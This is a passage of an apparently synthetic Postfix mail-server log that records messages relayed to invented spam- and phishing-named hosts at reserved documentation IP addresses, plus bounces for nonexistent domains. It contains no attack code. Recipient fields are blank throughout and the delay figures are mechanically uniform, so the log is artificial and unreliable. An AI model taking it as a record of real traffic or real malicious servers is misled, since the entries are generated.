OK: queued as 44DF57) +Jul 05 08:04:59 server postfix/smtp[28892]: A3AB55D6CA: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=1.47, delays=0.3675/0.3675/0.3675/0.3675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9CB4EB) +Jul 05 08:05:00 server postfix/smtp[24191]: A214B64B41: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=2.74, delays=0.685/0.685/0.685/0.685, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9B6F93) +Jul 05 08:05:00 server postfix/smtp[26768]: 9AB932C89E: to=, relay=none, delay=1.22, delays=0.305/0.305/0.305/0.305, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:05:00 server postfix/smtp[28188]: 2EAF2C2B23: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=1.73, delays=0.4325/0.4325/0.4325/0.4325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3C5EC0) +Jul 05 08:05:00 server systemd[1]: Starting daily clean up activities... +Jul 05 08:05:02 server postfix/smtp[28671]: 0400C38553: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.15, delays=0.5375/0.5375/0.5375/0.5375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 141609) +Jul 05 08:05:03 server postfix/smtp[23726]: 742BF0EF8B: to=, relay=example.com[192.0.2.15]:25, delay=2.94, delays=0.735/0.735/0.735/0.735, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CFBC73) +Jul 05 08:05:03 server postfix/smtp[23809]: A39DB90960: to=, relay=none, delay=2.55, delays=0.6375/0.6375/0.6375/0.6375, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:05:03 server postfix/smtp[24416]: 2CD880005C: to=, relay=phish-central.org[203.0.113.111]:25, delay=1.54, delays=0.385/0.385/0.385/0.385, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9548C9) +Jul 05 08:05:03 server postfix/smtp[28346]: A439762B63: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.76, delays=0.69/0.69/0.69/0.69, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BDFA7A) +Jul 05 08:05:03 server postfix/smtp[28679]: 289F343FB1: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=0.65, delays=0.1625/0.1625/0.1625/0.1625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1432CC) +Jul 05 08:05:03 server postfix/smtp[29928]: 2732557631: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.3, delays=0.325/0.325/0.325/0.325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4F8DED) +Jul 05 08:05:04 server postfix/smtp[25832]: 98933EFB3F: to=, relay=none, delay=1.37, delays=0.3425/0.3425/0.3425/0.3425, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:04 server postfix/smtp[27183]: 218BC06C2C: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=2.72, delays=0.68/0.68/0.68/0.68, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 356E30) +Jul 05 08:05:04 server postfix/smtp[29928]: AF1204848C: to=, relay=none, delay=1.43, delays=0.3575/0.3575/0.3575/0.3575, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:05 server postfix/smtp[29878]: CB17AF2F37: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=0.54, delays=0.135/0.135/0.135/0.135, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0D6FF0) +Jul 05 08:05:06 server postfix/smtp[23874]: 82650783CB: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=1.98, delays=0.495/0.495/0.495/0.495, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E2AFA5) +Jul 05 08:05:07 server postfix/smtp[26988]: DABDEE3A1C: to=, relay=none, delay=1.76, delays=0.44/0.44/0.44/0.44, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:05:07 server postfix/smtp[28614]: 30FDD0669F: to=, relay=spam-source.biz[198.51.100.23]:25, delay=2.97, delays=0.7425/0.7425/0.7425/0.7425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6073B1) +Jul 05 08:05:08 server postfix/smtp[21721]: 9314AAEB94: to=, relay=none, delay=2.73, delays=0.6825/0.6825/0.6825/0.6825, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:09 server postfix/smtp[24676]: 3BCBE061CC: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.71, delays=0.6775/0.6775/0.6775/0.6775, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 37A2F6) +Jul 05 08:05:09 server postfix/smtp[28135]: B26653839F: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=1.87, delays=0.4675/0.4675/0.4675/0.4675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6439F2) +Jul 05 08:05:09 server postfix/smtp[29528]: 48883C7DBB: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.45, delays=0.6125/0.6125/0.6125/0.6125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 660CB9) +Jul 05 08:05:10 server postfix/smtp[23805]: 19E31EFF21: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.15, delays=0.5375/0.5375/0.5375/0.5375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6FA13C) +Jul 05 08:05:11 server postfix/smtp[22704]: 67271D730B: to=, relay=none, delay=0.6, delays=0.15/0.15/0.15/0.15, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:11 server postfix/smtp[26471]: BF1653123D: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.8, delays=0.7/0.7/0.7/0.7, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E29A22) +Jul 05 08:05:12 server postfix/smtp[22981]: 8575C267F9: to=, relay=example.com[203.0.113.111]:25, delay=0.54, delays=0.135/0.135/0.135/0.135, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 150F27) +Jul 05 08:05:12 server postfix/smtp[27105]: 638DAF8B2E: to=, relay=example.com[203.0.113.111]:25, delay=2.75, delays=0.6875/0.6875/0.6875/0.6875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AC5E64) +Jul 05 08:05:13 server postfix/smtp[21572]: 583F234882: to=, relay=example.com[192.0.2.15]:25, delay=1.25, delays=0.3125/0.3125/0.3125/0.3125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8E5524) +Jul 05 08:05:13 server postfix/smtp[23845]: F064DED3A9: to=, relay=none, delay=0.68, delays=0.17/0.17/0.17/0.17, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:05:14 server postfix/smtp[20605]: D73C0FFA0F: to=, relay=none, delay=0.74, delays=0.185/0.185/0.185/0.185, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:05:14 server postfix/smtp[22311]: 30177557E7: to=, relay=spam-source.biz[203.0.113.88]:25, delay=0.87, delays=0.2175/0.2175/0.2175/0.2175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AB4412) +Jul 05 08:05:14 server postfix/smtp[29660]: 79E8E3D13B: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.09, delays=0.2725/0.2725/0.2725/0.2725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 82EB31) +Jul 05 08:05:16 server postfix/smtp[22645]: C725F79C33: to=, relay=none, delay=2.12, delays=0.53/0.53/0.53/0.53, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:16 server postfix/smtp[25789]: ABD19B3329: to=, relay=none, delay=2.16, delays=0.54/0.54/0.54/0.54, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:05:16 server postfix/smtp[27218]: 3E28D34B3E: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.61, delays=0.4025/0.4025/0.4025/0.4025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EAEEE4) +Jul 05 08:05:16 server postfix/smtp[28755]: 099BCCC5E1: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.07, delays=0.2675/0.2675/0.2675/0.2675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1723F0) +Jul 05 08:05:16 server postfix/smtp[29956]: 777C54C0D2: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=2.48, delays=0.62/0.62/0.62/0.62, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 564294) +Jul 05 08:05:17 server postfix/smtp[24511]: B961DB23BB: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.96, delays=0.74/0.74/0.74/0.74, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6457EE) +Jul 05 08:05:17 server postfix/smtp[24885]: 75851A3937: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=2.43, delays=0.6075/0.6075/0.6075/0.6075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 28DC38) +Jul 05 08:05:17 server postfix/smtp[25328]: B80298C81D: to=, relay=none, delay=2.21, delays=0.5525/0.5525/0.5525/0.5525, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:05:18 server postfix/smtp[25098]: 4E56AC6944: to=, relay=example.com[198.51.100.23]:25, delay=1.5, delays=0.375/0.375/0.375/0.375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 298B5D) +Jul 05 08:05:18 server postfix/smtp[26261]: B9852DC35C: to=, relay=spam-source.biz[198.51.100.23]:25, delay=0.69, delays=0.1725/0.1725/0.1725/0.1725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 704C78) +Jul 05 08:05:19 server postfix/smtp[21732]: 8140E5F03D: to=, relay=phish-central.org[203.0.113.111]:25, delay=2.29, delays=0.5725/0.5725/0.5725/0.5725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6D1DCB) +Jul 05 08:05:19 server postfix/smtp[25713]: 175391FF64: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.92, delays=0.48/0.48/0.48/0.48, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6BB18F) +Jul 05 08:05:20 server postfix/smtp[20252]: AE086898BF: to=, relay=spam-source.biz[198.51.100.23]:25, delay=2.38, delays=0.595/0.595/0.595/0.595, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 747331) +Jul 05 08:05:20 server postfix/smtp[24738]: 8A86C389C3: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.45, delays=0.6125/0.6125/0.6125/0.6125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E5D563) +Jul 05 08:05:20 server postfix/smtp[29848]: 39F9F7EB2A: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.54, delays=0.635/0.635/0.635/0.635, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F950F1) +Jul 05 08:05:21 server postfix/smtp[22564]: D3C05F3E21: to=, relay=none, delay=0.92, delays=0.23/0.23/0.23/0.23, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:05:23 server postfix/smtp[23204]: E9E6E01B87: to=, relay=example.com[203.0.113.88]:25, delay=0.91, delays=0.2275/0.2275/0.2275/0.2275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E78837) +Jul 05 08:05:23 server postfix/smtp[25988]: 85486C1703: to=, relay=none, delay=2.92, delays=0.73/0.73/0.73/0.73, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:05:24 server postfix/smtp[21923]: 4889B33E0D: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.08, delays=0.27/0.27/0.27/0.27, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 85C98E) +Jul 05 08:05:24 server postfix/smtp[28447]: 0F78A332D0: to=, relay=example.com[198.51.100.23]:25, delay=1.37, delays=0.3425/0.3425/0.3425/0.3425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A22579) +Jul 05 08:05:24 server postfix/smtp[28557]: 2383494AE8: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=1.34, delays=0.335/0.335/0.335/0.335, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6A74AE) +Jul 05 08:05:25 server postfix/smtp[24153]: 559259BCCE: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.15, delays=0.5375/0.5375/0.5375/0.5375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C69C09) +Jul 05 08:05:25 server postfix/smtp[25789]: 6D57EF97EC: to=, relay=phish-central.org[203.0.113.111]:25, delay=2.33, delays=0.5825/0.5825/0.5825/0.5825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 74946A) +Jul 05 08:05:26 server postfix/smtp[24796]: 36BFA9871A: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=1.19, delays=0.2975/0.2975/0.2975/0.2975, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7B567B) +Jul 05 08:05:27 server postfix/smtp[21517]: 5613CB5EA0: to=, relay=phish-central.org[192.0.2.15]:25, delay=1.33, delays=0.3325/0.3325/0.3325/0.3325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AE5E1B) +Jul 05 08:05:27 server postfix/smtp[22903]: 57052420A2: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.94, delays=0.735/0.735/0.735/0.735, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3A3DE3) +Jul 05 08:05:28 server postfix/smtp[21716]: 59AB922FF2: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=1.36, delays=0.34/0.34/0.34/0.34, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F73732) +Jul 05 08:05:28 server postfix/smtp[22354]: 5565985DFB: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=0.68, delays=0.17/0.17/0.17/0.17, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C72DA6) +Jul 05 08:05:28 server postfix/smtp[22366]: 49ECD1F8EA: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.49, delays=0.6225/0.6225/0.6225/0.6225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1C2B47) +Jul 05 08:05:28 server postfix/smtp[23550]: A51E1313F5: to=, relay=example.com[192.0.2.15]:25, delay=2.3, delays=0.575/0.575/0.575/0.575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B581DE) +Jul 05 08:05:29 server postfix/smtp[26551]: 152C363475: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.43, delays=0.6075/0.6075/0.6075/0.6075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5868F9) +Jul 05 08:05:29 server postfix/smtp[27319]: B33D2DA21F: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.23, delays=0.3075/0.3075/0.3075/0.3075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 517638) +Jul 05 08:05:29 server postfix/smtp[28541]: 5E269AFA21: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.0, delays=0.25/0.25/0.25/0.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AFBD40) +Jul 05 08:05:30 server postfix/smtp[26770]: 8625EEC889: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.46, delays=0.365/0.365/0.365/0.365, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 352A0E) +Jul 05 08:05:31 server postfix/smtp[20572]: F29DDD96FD: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.43, delays=0.6075/0.6075/0.6075/0.6075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 514E36) +Jul 05 08:05:31 server postfix/smtp[24035]: C5D894EEC0: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.32, delays=0.33/0.33/0.33/0.33, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 37B1DE) +Jul 05 08:05:31 server postfix/smtp[24802]: 252E901805: to=, relay=spam-source.biz[198.51.100.23]:25, delay=0.52, delays=0.13/0.13/0.13/0.13, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B2E271) +Jul 05 08:05:31 server postfix/smtp[27945]: CD0FFC037F: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.58, delays=0.395/0.395/0.395/0.395, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AF7078) +Jul 05 08:05:33 server postfix/smtp[21261]: 6E96874DD9: to=, relay=example.com[203.0.113.88]:25, delay=2.06, delays=0.515/0.515/0.515/0.515, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 344687) +Jul 05 08:05:34 server postfix/smtp[25207]: F2F8C1ACA7: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=2.6, delays=0.65/0.65/0.65/0.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BFEB3E) +Jul 05 08:05:34 server postfix/smtp[29852]: 11DE5CFCF7: to=, relay=none, delay=2.96, delays=0.74/0.74/0.74/0.74, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:05:35 server postfix/smtp[25717]: DDC3D5BA64: to=, relay=none, delay=2.45, delays=0.6125/0.6125/0.6125/0.6125, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:35 server postfix/smtp[26876]: 141AD9744F: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=2.49, delays=0.6225/0.6225/0.6225/0.6225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CF04DA) +Jul 05 08:05:36 server postfix/smtp[22610]: 3C77BC4BD9: to=, relay=example.com[203.0.113.111]:25, delay=2.44, delays=0.61/0.61/0.61/0.61, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EF41BD) +Jul 05 08:05:36 server postfix/smtp[25110]: D0EF86935B: to=, relay=phish-central.org[192.0.2.15]:25, delay=2.24, delays=0.56/0.56/0.56/0.56, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 64FAFA) +Jul 05 08:05:37 server postfix/smtp[23092]: 4ED90477DA: to=, relay=example.com[192.0.2.15]:25, delay=1.17, delays=0.2925/0.2925/0.2925/0.2925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 53BD42) +Jul 05 08:05:38 server postfix/smtp[25008]: 90B21B17CF: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.83, delays=0.4575/0.4575/0.4575/0.4575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EE3340) +Jul 05 08:05:38 server postfix/smtp[28486]: 2783B8138A: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.12, delays=0.53/0.53/0.53/0.53, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0A8A06) +Jul 05 08:05:38 server postfix/smtp[29555]: F63C1C2107: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=1.66, delays=0.415/0.415/0.415/0.415, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 70F069) +Jul 05 08:05:39 server postfix/smtp[25701]: 7A273C81FD: to=, relay=none, delay=2.55, delays=0.6375/0.6375/0.6375/0.6375, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:40 server postfix/smtp[21263]: 1D1FCB32A5: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=1.87, delays=0.4675/0.4675/0.4675/0.4675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E4C25C) +Jul 05 08:05:41 server postfix/smtp[22540]: 682752BE83: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.2, delays=0.3/0.3/0.3/0.3, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BC3556) +Jul 05 08:05:42 server postfix/smtp[21828]: EA26766727: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.63, delays=0.4075/0.4075/0.4075/0.4075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F3BD88) +Jul 05 08:05:42 server postfix/smtp[22507]: A48B8324A1: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=1.43, delays=0.3575/0.3575/0.3575/0.3575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 00AABA) +Jul 05 08:05:42 server postfix/smtp[24287]: 04B35E5FCE: to=, relay=none, delay=1.53, delays=0.3825/0.3825/0.3825/0.3825, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:05:43 server postfix/smtp[22527]: 8FA1EC2231: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.11, delays=0.5275/0.5275/0.5275/0.5275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DABC18) +Jul 05 08:05:43 server postfix/smtp[23708]: 53362AEDE3: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.75, delays=0.4375/0.4375/0.4375/0.4375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 89857B) +Jul 05 08:05:43 server postfix/smtp[26457]: F960861887: to=, relay=none, delay=2.13, delays=0.5325/0.5325/0.5325/0.5325, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:44 server postfix/smtp[21391]: FBD76F5F53: to=, relay=spam-source.biz[192.0.2.15]:25, delay=0.84, delays=0.21/0.21/0.21/0.21, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4A267E) +Jul 05 08:05:45 server postfix/smtp[25977]: F02D2BB293: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.47, delays=0.3675/0.3675/0.3675/0.3675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C89860) +Jul 05 08:05:46 server postfix/smtp[21192]: BC6A9DC1C5: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.66, delays=0.415/0.415/0.415/0.415, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5C1751) +Jul 05 08:05:46 server postfix/smtp[22822]: E5B61B47C1: to=, relay=none, delay=2.47, delays=0.6175/0.6175/0.6175/0.6175, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:05:46 server postfix/smtp[23517]: 8770B41561: to=, relay=spam-source.biz[203.0.113.88]:25, delay=0.79, delays=0.1975/0.1975/0.1975/0.1975, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C53AC0) +Jul 05 08:05:46 server postfix/smtp[27201]: F2ED8B2423: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.32, delays=0.58/0.58/0.58/0.58, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2352B8) +Jul 05 08:05:48 server postfix/smtp[21513]: 65C6532E69: to=, relay=none, delay=0.85, delays=0.2125/0.2125/0.2125/0.2125, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:48 server postfix/smtp[25469]: 14B716FFE9: to=, relay=phish-central.org[203.0.113.111]:25, delay=2.43, delays=0.6075/0.6075/0.6075/0.6075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 60E1CE) +Jul 05 08:05:48 server postfix/smtp[28655]: ADA75D6529: to=, relay=none, delay=1.14, delays=0.285/0.285/0.285/0.285, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:48 server postfix/smtp[29683]: C5C3246EF8: to=, relay=none, delay=2.58, delays=0.645/0.645/0.645/0.645, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:05:49 server postfix/smtp[22081]: 8516963D7F: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.48, delays=0.62/0.62/0.62/0.62, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 14BE4D) +Jul 05 08:05:50 server postfix/smtp[24321]: 694573CF4F: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.27, delays=0.3175/0.3175/0.3175/0.3175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CA2994) +Jul 05 08:05:50 server postfix/smtp[24990]: 8DE3DE0984: to=, relay=none, delay=0.98, delays=0.245/0.245/0.245/0.245, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:50 server postfix/smtp[26882]: 2E666C67FA: to=, relay=none, delay=1.94, delays=0.485/0.485/0.485/0.485, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:50 server postfix/smtp[28193]: 5F3DEB1FC8: to=, relay=example.com[198.51.100.23]:25, delay=2.42, delays=0.605/0.605/0.605/0.605, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8A2F54) +Jul 05 08:05:51 server postfix/smtp[20193]: 3CB5EF224B: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.06, delays=0.515/0.515/0.515/0.515, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D24A2C) +Jul 05 08:05:51 server postfix/smtp[21862]: 6CB5275311: to=, relay=example.com[198.51.100.23]:25, delay=0.77, delays=0.1925/0.1925/0.1925/0.1925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F30458) +Jul 05 08:05:51 server postfix/smtp[22138]: 9A1CD9614E: to=, relay=example.com[192.0.2.15]:25, delay=1.7, delays=0.425/0.425/0.425/0.425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9CF4E3) +Jul 05 08:05:51 server postfix/smtp[29519]: 3A35669A81: to=, relay=example.com[203.0.113.88]:25, delay=2.19, delays=0.5475/0.5475/0.5475/0.5475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3E52C8) +Jul 05 08:05:52 server postfix/smtp[26204]: 8468141EC2: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=1.64, delays=0.41/0.41/0.41/0.41, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EBF09D) +Jul 05 08:05:53 server postfix/smtp[22646]: B63327185B: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=0.82, delays=0.205/0.205/0.205/0.205, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F31D56) +Jul 05 08:05:54 server postfix/smtp[21457]: ED74119B38: to=, relay=none, delay=1.34, delays=0.335/0.335/0.335/0.335, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:05:54 server postfix/smtp[29335]: DC83C0459E: to=, relay=none, delay=1.96, delays=0.49/0.49/0.49/0.49, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:55 server postfix/smtp[24016]: 6C3F901EA7: to=, relay=none, delay=2.79, delays=0.6975/0.6975/0.6975/0.6975, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:05:55 server postfix/smtp[25892]: 1FB3133503: to=, relay=phish-central.org[203.0.113.111]:25, delay=1.52, delays=0.38/0.38/0.38/0.38, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D9F19F) +Jul 05 08:05:55 server postfix/smtp[28838]: 254C288386: to=, relay=example.com[192.0.2.15]:25, delay=2.05, delays=0.5125/0.5125/0.5125/0.5125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 91B042) +Jul 05 08:05:56 server postfix/smtp[21703]: C9C2DF6A11: to=, relay=none, delay=2.38, delays=0.595/0.595/0.595/0.595, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:05:56 server postfix/smtp[23938]: C0D20C6636: to=, relay=example.com[192.0.2.15]:25, delay=0.58, delays=0.145/0.145/0.145/0.145, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9ACC6C) +Jul 05 08:05:56 server postfix/smtp[26970]: 5BA5C828C6: to=, relay=phish-central.org[203.0.113.111]:25, delay=0.66, delays=0.165/0.165/0.165/0.165, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CB802B) +Jul 05 08:05:57 server postfix/smtp[20543]: 4880098CA4: to=, relay=none, delay=1.33, delays=0.3325/0.3325/0.3325/0.3325, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:05:57 server postfix/smtp[20561]: 55D6CD2727: to=, relay=none, delay=2.22, delays=0.555/0.555/0.555/0.555, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:05:57 server postfix/smtp[21771]: 3DDA778F4A: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=0.74, delays=0.185/0.185/0.185/0.185, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9DE845) +Jul 05 08:05:57 server postfix/smtp[28995]: 9B40B9A3BD: to=, relay=none, delay=2.48, delays=0.62/0.62/0.62/0.62, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 